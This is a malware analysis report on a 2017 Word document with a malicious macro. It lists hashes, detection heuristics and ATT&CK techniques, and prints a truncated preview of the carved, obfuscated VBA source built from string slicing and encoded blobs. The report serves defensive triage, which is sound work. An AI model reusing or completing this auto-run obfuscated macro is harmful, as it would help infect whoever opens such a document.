Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2f4f93835b9f69d7…

MALICIOUS

Office (OLE)

79.5 KB Created: 2017-10-19 14:34:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: c14dbdcef6123d7a78abc6ccaf7329b4 SHA-1: ed51262bc980f4afc7d300e6ae6a3f89323c3678 SHA-256: 2f4f93835b9f69d735d994777b1dfa1968db1e45419b691227a0f0b317a672d2
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro uses the Shell() function, a critical heuristic firing, indicating an attempt to execute arbitrary commands. The presence of an AutoOpen macro and the ClamAV detection further support its malicious nature. The macro's obfuscated nature and truncated script prevent a more detailed analysis of its specific actions or payload.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15802 bytes
SHA-256: 9e0a4b2c00439c91e6eb544923bf53d64a6c6bb5de4bd5ccda8ce96f782b2c78
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 41 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function FqYvwDTRW()
DSZIIIZoc = "Q792KKNXhLsmdJoNTCimiOaVLnvGhJfViNGTjHbPUZPLKqVHOLEXmHEbKOzHKliXjXHQCVdLbTSEwOKVSorWFHiWJiIUKUFjusiniEEshswSpzcvEcoWtISYolGYMJBHNiKGkXmNjzoMLQhKCNQhfjplaFzzzjjYrpEGoWLhpamuUFNYEwVztBAK"
nidAzDYzkMT = Mid(DSZIIIZoc, 9, 173)
qUzoM = nidAzDYzkMT
WGBdlRkLMD = "2EHYwaKAOWL43QREZPM"
FJTvNjcI = Mid(WGBdlRkLMD, 4, 3)
TczTM = FJTvNjcI
zSdzhkAUY = "TT53EzBBcTwhmCtjuzUOkJQiPvDppQzDifiHK8KN92K37OJXUB"
HhQVDZMHPvH = Mid(zSdzhkAUY, 6, 32)
BpDBN = HhQVDZMHPvH
TEIEPp = "AUbitYjiXpQDSPVVLaVjCirFwvRC94WYUN6Z1QAILKAGFUTLS8M5U3XRCU"
IrNkM = Mid(TEIEPp, 2, 26)
iUiqbnT = IrNkM
wUqwcmzV = "1PMXQUMD8tqmAmCrAMcaziANFXLXBTEAGdLrsSMvwBiiRZUtZQHDYbUImnDNtIjRopfXbKwhAjiwARv9NRPDJDFD2YR"
EuvVDkCqnfw = Mid(wUqwcmzV, 10, 70)
ujzVqP = EuvVDkCqnfw
Kvkjqz = "91JAKO9P2TKqZiMaqhqSRvXnUNCndkpjfuLLLVszGTlVkIvjXiZBZcluSddpfrEWUbKfWBPVprMzJBCLSWQvLoKDJRshsCTOOPAJwPJWSELhPnlQaRXIbJKjRHVEIicmXwjtBtNCMtcHccnVjcGbfKmFEUsruEOkbZKRErPhDUwijDDoTAYjbBGMLdohBWIHisjDSWRpMZXLODYBRDXujiJZTzFaCijhLoTI4OL6THI40UJ4HH82XGVIY7IPZ"
zdwFaHhElD = Mid(Kvkjqz, 11, 216)
ifwzFLiXD = zdwFaHhElD
uEJNqYCStSD = "XKFUGAWNXF3OVLJ2YLFEwIMFhfCiBcTkPcmouFcUcXKdfNqmamdsZiFssFBbjXTjjpioPklhvubbwiaUoPI5JH"
cBnCk = Mid(uEJNqYCStSD, 20, 64)
MZnaoJOwcM = cBnCk
KYlfihdS = "532LP8XREDoXAWzjjTBivwHFnPzzOawjGkUQqmitqzZAjiQhZKzOHvXzzVPSihzNGFQPBhswpInvYHVIwQZDdibLMVSVXMKICMtiOBfsSAZwHcbqzGTSItkYdFDjOXZdzfsMOruzljlcIdDjtIU"
dDiMTPz = Mid(KYlfihdS, 10, 136)
rvqQuQXhIsF = dDiMTPz
crHpSzlh = "XZXaUuiqkjJuGrM8FZTI57CDDL1"
kJQHN = Mid(crHpSzlh, 2, 14)
VoYNTPsfwDz = kJQHN
JkLJlT = "N9P6QLA4cVQsszJbUAIzwiubwBckPbILVjcHIPACUmmBIkFfikZ0P3EOGEWQ9MX5X4Y"
UKFddBQ = Mid(JkLJlT, 9, 42)
IUklEEi = UKFddBQ
tOidGolMjUw = "IZM5I79Y8Y3UsbtAKhfXOaNPpjJAKjbEkrMdbpzKcWhwHLlwwPslk68F8HB1NUMNWBFBATMTRD"
HfcTSSKLl = Mid(tOidGolMjUw, 12, 42)
TFwXFuVYq = HfcTSSKLl
bmEbziMFp = "93V8fCRzlLBcfIDEEPzCoUNuctzSORZDrwWIUsXKbKvFnNAOYFtSAdqimXTmEziTmzkimvkMroadYIHOtiuIYGCOGsVzMTKL7JR0DC2HPW06MHRIAT1WEWE1IDLWR"
JtSRrzpCZh = Mid(bmEbziMFp, 5, 88)
LzXtz = JtSRrzpCZh
rzniHB = "DK6B02Y9WRE9LJFCIB9PwHlNFqVZrvNTNkBOPZUkUursOIiuMEuqpTljbQVzbllaUiuakijpXBPDPswzMaMmAWdtwRmzDVIjIQXjNDKdXFToDiTiRYnB06CB6TC3DB9RMLTE7"
swjVBwvZEq = Mid(rzniHB, 21, 96)
qwfjpNXKGMw = swjVBwvZEq
hzDvC = "9IY3G40MCXYlFccbSpcRccVjbMDMFiQEsWEZvfvWctZmoFizBzpRmcGRnriqKtnrjTtjXCjntGoiDisWdFLHowSQPnmEAFLjGiGUMzawRCYjnXO00TJBG1MXLBJA3NPEYQTFSBS25EWE"
wSjbUl = Mid(hzDvC, 11, 101)
HzJBnzP = wSjbUl
VoYNTPsfwDz qUzoM + iUiqbnT + TFwXFuVYq + qwfjpNXKGMw + TczTM + BpDBN + ifwzFLiXD + rvqQuQXhIsF + IUklEEi + ujzVqP + LzXtz + HzJBnzP + MZnaoJOwcM
End Function
Function ZGsjkYEwQ()
kLGraMjb = "7NQH19V5Y8QJJ5SAxADYALAA0ADAALAAgADMAOQAsACAANAA0ACwAMwA5ACwANAAxACwAIAA1ADkAIAAsACAAMwA2ACwAMQAxADAAIAAsADkANwAgACwAMQAwADkAIAAsACAAMQAwADEALAAgADMAMgAsA02PXZVPE9DJ60W14QS8E"
iWvwJp = Mid(kLGraMjb, 16, 138)
imakDYiinD = iWvwJp
EXfwcESh = "GFLCSQW8RMKZEAOS1ZPLYANAA2ACwANgA5ACwAIAAxADIAMAAgACwAOQA5ACwAIAAxADAAMQAgACwAMQAxADIALAAgADEAMQA2ACwAIAAxADAANQAsACAAMQAxADEAIAAsACAAMQAxADAAIAAsADQANgAsADcANwAsADEAMAAxACAALAAgADEAMQA1ACAALAAgADEAMQA1ACAALAAgADkANwAsACAAMQAwADMALAAxADAAMQAsACAANQA5ACwAIAAxADIANQAgACwAIAAxXU9W2B3A"
hmpSOd = Mid(EXfwcESh, 22, 253)
ChAJAtXiT = hmpSOd
VmMWXLzBdGO = "15IEPSCIS7W0ZME6ADEAMQA2ACAALAAgADEAMQA2ACAALAAgADEAMQAyACwANQA4ACAALAAgADQANwAgACwAIAA0ADcALAAxADEANgAs4XECI2"
YskcVSzrU = Mid(VmMWXLzBdGO, 17, 88)
njIAHZN = YskcVSzrU
cuPzZdYqvFH = "N8ZSQRAA2ADUAIAAsADgANgAsACAAMQAxADYALAA3ADcAIAAsADQANwAsACAANAA0ACAALAAgADEAMAA0ACwAMQAxADYAIAAsADEAMQA2ACwAIAAxADEAMgAsADUAOAAsACAANAA3ACAALAA0ADcAIAAsADEAMQAyACwAMQAwADUAIAAsACAAMQAwADcAIAAsACAAMQAxADUAIAAsADEAMAAxACAALAAgADEAMAA4ACwANAA2ACAALAAxADEANQAsADEAMA2FO0GJKO84P3R7ULDGY0M0WHA9W"
zboZOL = Mid(cuPzZdYqvFH, 7, 257)
jQjiiqLT = zboZOL

... (truncated)

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